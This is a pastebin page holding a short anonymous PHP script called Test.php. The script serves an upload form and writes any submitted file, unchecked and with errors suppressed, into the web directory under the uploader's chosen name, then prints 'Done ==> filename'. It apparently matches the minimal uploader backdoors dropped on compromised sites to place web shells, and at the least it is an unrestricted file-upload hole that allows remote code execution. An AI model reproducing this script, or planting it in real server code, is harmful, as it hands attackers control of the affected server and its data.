The text below is selected, press Ctrl+C to copy to your clipboard. (⌘+C on Mac) No line numbers will be copied.
Guest
Test.php
By Guest on 9th July 2023 03:06:02 AM | Syntax: PHP | Views: 677



New paste | Download | Show/Hide line no. | Copy text to clipboard
  1. <?php
  2. if(isset($_POST['Submit'])){
  3.  
  4.      $filedir = "";
  5.      $maxfile = '2000000';
  6.  
  7.      $userfile_name = $_FILES['image']['name'];
  8.      $userfile_tmp = $_FILES['image']['tmp_name'];
  9.       if (isset($_FILES['image']['name'])) {
  10.         $abod = $filedir.$userfile_name;
  11.         @move_uploaded_file($userfile_tmp, $abod);
  12.  
  13. echo"<center><b>Done ==> $userfile_name</b></center>";
  14.      }
  15. }
  16. else{
  17. echo'   <form method="POST" action="" enctype="multipart/form-data">
  18.                 <input type="file" name="image">
  19.                 <input type="Submit" name="Submit" value="Submit">
  20.                 </form>';
  21.         }
  22. ?>



  • Recent Pastes
  • Test.php
    1 year 20 weeks 7 hours 36 mins and 30 secs ago
  • Javascript sample
    1 year 20 weeks 7 hours 36 mins and 30 secs ago
  • Java Sample
    1 year 20 weeks 7 hours 36 mins and 30 secs ago
  • Test Document
    1 year 20 weeks 7 hours 36 mins and 30 secs ago
  • PHP Sample
    1 year 20 weeks 7 hours 36 mins and 30 secs ago